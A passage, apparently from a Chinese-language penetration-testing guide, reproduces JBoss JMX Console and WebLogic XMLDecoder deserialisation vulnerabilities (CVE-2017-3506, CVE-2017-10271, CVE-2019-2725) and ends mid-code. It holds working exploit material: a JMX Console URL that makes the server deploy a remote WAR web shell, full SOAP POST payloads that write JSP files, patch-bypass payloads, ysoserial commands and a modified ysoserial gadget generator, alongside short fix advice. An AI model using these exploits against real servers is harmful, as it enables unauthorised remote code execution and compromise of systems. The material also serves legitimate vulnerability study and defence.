2、或刪除Administration Console頁面。 JBoss版本>=6.0,admin-console頁面路徑為:C:\jboss-6.1.0.Final\common\deploy\admin-console.war 6.0之前的版本,路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授權訪問
JMX Console默認存在未授權訪問,直接點擊JBoss主頁中的JMX Console鏈接進入JMX Console頁面。
1、在JMX Console頁面點擊jboss.system鏈接,在Jboss.system頁面中點擊service=MainDeployer,如下

2、進入service=MainDeployer頁面之后,找到methodIndex為17 or 19的deploy 填寫遠程war包地址進行遠程部署。

3、這里我部署的war包為lxh.war,鏈接如下: http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war
4、訪問 http://xx.xx.xx.xx/[warname]/shellname.jsp

修復建議
- 增加密碼措施,防止未授權訪問。 1)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml開啟安全配置。

2)在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml開啟安全認證。

3)在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的用戶密碼配置位置。
<application-policy name="jmx-console"> <authentication> <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule" flag="required"> <module-option name="usersProperties">props/jmx-console-users.properties</module-option> <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option> </login-module> </authentication>
4)配置用戶密碼以及用戶權限,這里新增lxhsec用戶。

5)重啟JBoss,效果如下:

2.或刪除JMX Console,后重啟JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
6、WebLogic
WebLogic是美國Oracle公司出品的一個applicationserver,確切的說是一個基於JAVAEE架構的中間件,WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中。
默認端口:7001
測試環境版本:10.3.6 下載地址:
https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe?AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
下載完成后雙擊運行,一直點下一步就ok了。
安裝完成之后,在
C:\Oracle\Middleware\user_projects\domains\base_domain
這個目錄雙擊startWebLogic.cmd啟動Weblogic服務。
瀏覽器訪問:http://127.0.0.1:7001/, 界面上出現Error 404–Not Found,即啟動成功。
設置外網訪問,在 域結構 -> 環境 -> 服務器 右邊選擇相應的Server(管理服務器),打開進行編輯,在監聽地址:中填入0.0.0.0,保存后,重啟Weblogic服務器即可。

以下復現若無特別說明均采用Weblogic 10.3.6
XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
Weblogic的WLS Security組件對外提供webservice服務,其中使用了XMLDecoder來解析用戶傳入的XML數據,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
訪問 /wls-wsat/CoordinatorPortType 返回如下頁面,則可能存在此漏洞。

漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影響,可以查看web.xml得知所有受到影響的Uri,路徑為:C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默認受到影響的Uri如下:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
構造 寫入文件 數據包發送,如下,其中Content-Type需要等於text/xml,否則可能導致XMLDecoder不解析。
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Connection: close Content-Length: 629 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("test777776666666"); %> ]]> </string> </void> <void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
訪問 /bea_wls_internal/test2.jsp,如下:

不熟悉JAVA的小伙伴們可能會對這個構造的XML有所疑惑,可以參考下這篇文章。
CVE-2017-3506的補丁加了驗證函數,補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 驗證Payload中的節點是否存在object Tag。
private void validate(InputStream is){ WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser =factory.newSAXParser(); parser.parse(is, newDefaultHandler() { public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch(ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXExceptionvar6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOExceptionvar7) { throw new IllegalStateException("Parser Exception", var7); } }
我們將object換成void就可繞過此補丁,產生了CVE-2017-10271。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("test777776666666"); %> ]]> </string> </void> <void method="close"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
修復建議
1)安裝補丁。 2)或刪除wls-wsat組件,再次訪問返回404.
1.刪除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war 2.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war 3.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat 4.重啟Weblogic

Note:wls-wsat.war屬於一級應用包,對其進行移除或更名操作可能造成未知的后果,Oracle官方不建議對其進行此類操作。
Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)
影響組件:bea_wls9_async_response.war, wls-wsat.war 影響版本:10.3.6.0, 12.1.3.0
bea_wls9_async_response.war
訪問 /_async/AsyncResponseService 返回如下頁面,則可能存在此漏洞。

漏洞不僅存在於 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影響,可以查看web.xml得知所有受到影響的Uri,路徑為: C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
默認受到影響的Uri如下:
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps
wls-wsat.war受影響的URI見XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
此漏洞實際上是CVE-2017-10271的又一入口,那么它是怎么繞過CVE-2017-10271的補丁,執行REC的呢。
先來看一下CVE-2017-10271的補丁代碼:
public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength();++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){ throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 =attributes.getValue("class"); if(var9 != null &&!var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is notvalid for array element."); }
其中CVE-2017-3506的補丁是過濾了object,CVE-2017-10271的補丁是過濾了new,method標簽,且void后面只能跟index,array后面可以跟class,但是必須要是byte類型的。 繞過CVE-2017-10271補丁是因為class標簽未被過濾所導致的,這點我們可以從Oracle 發布的CVE-2019-2725補丁看出來, CVE-2019-2725補丁新增部分內容,將class加入了黑名單,限制了array標簽中的byte長度。如下:
else if (qName.equalsIgnoreCase("class")) { throw new IllegalStateException("Invalid element qName:class"); } else { if (qName.equalsIgnoreCase("array")) { String attClass = attributes.getValue("class"); if (attClass != null && !attClass.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } String lengthString = attributes.getValue("length"); if (lengthString != null) { try { int length = Integer.valueOf(lengthString); if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) { throw new IllegalStateException("Exceed array length limitation"); } this.overallarraylength += length; if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) { throw new IllegalStateException("Exceed over all array limitation."); } } catch (NumberFormatException var8) {
復現:Weblogic 10.3.6 利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet構造函數執行readObject().
構造函數參考:
public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException { java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes); ObjectInputStream objectIn = new ObjectInputStream(byteIn); //bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets allChangeSets = (IdentityHashtable)objectIn.readObject(); deletedObjects = (IdentityHashtable)objectIn.readObject(); }
UnitOfWorkChangeSet的參數是一個Byte數組,因此我們需要將Payload轉換為Byte[].
利用ysoserial生成Payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echoxxxxx.txt" > payload.txt
然后使用下列代碼,將Payload進行轉換成Byte[]
import java.beans.XMLEncoder; import java.io.*; public class Test{ public static void main(String[] args) throws Exception { File file = new File("C:\\Users\\lxhsec\\Downloads\\JRE8u20_RCE_Gadget-master\\exploit.ser"); //讀取ysoserial文件生成的payload FileInputStream fileInputStream = new FileInputStream(file); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length()); int buf_size=1024; byte[] buffer=new byte[buf_size]; int len=0; while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){ byteArrayOutputStream.write(buffer,0,len); } BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("C:\\Users\\lxhsec\\Downloads\\ysoserial-master\\target\\result.txt"))); //使用jdk的xmlencoder把byte數組寫入到 result.txt XMLEncoder xmlEncoder = new XMLEncoder(oop); xmlEncoder.flush(); xmlEncoder.writeObject(byteArrayOutputStream.toByteArray()); xmlEncoder.close(); byteArrayOutputStream.close(); fileInputStream.close(); } }
拼接Payload
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept:*/* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml Content-Length: 178338 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void> //此處填寫上面生成的XML。 </void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
效果:

使用ysoserial生成的只能適用於Windows平台,如果在Linux平台使用,則又要進行一次編譯,兼容性有點不太好,因此我們可以 將ysoserial稍稍的進行更改。
這里我們將ysoserial的Gadgets.java文件進行更改。路徑為:ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java
.
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // ---Start String cmd = ""; if(command.startsWith("filename:")) { String filename = command.substring(9); try { File file = new File(filename); if (file.exists()) { FileReader reader = new FileReader(file); BufferedReader br = new BufferedReader(reader); StringBuffer sb = new StringBuffer(""); String line = ""; while ((line = br.readLine()) != null) { sb.append(line); sb.append("\r\n"); } cmd = sb.toString(); } else { System.err.println(String.format("filename %s not exists!", filename)); System.exit(0); } } catch (IOException e) { e.printStackTrace(); } }else { // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; } System.err.println(cmd); // ---end clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet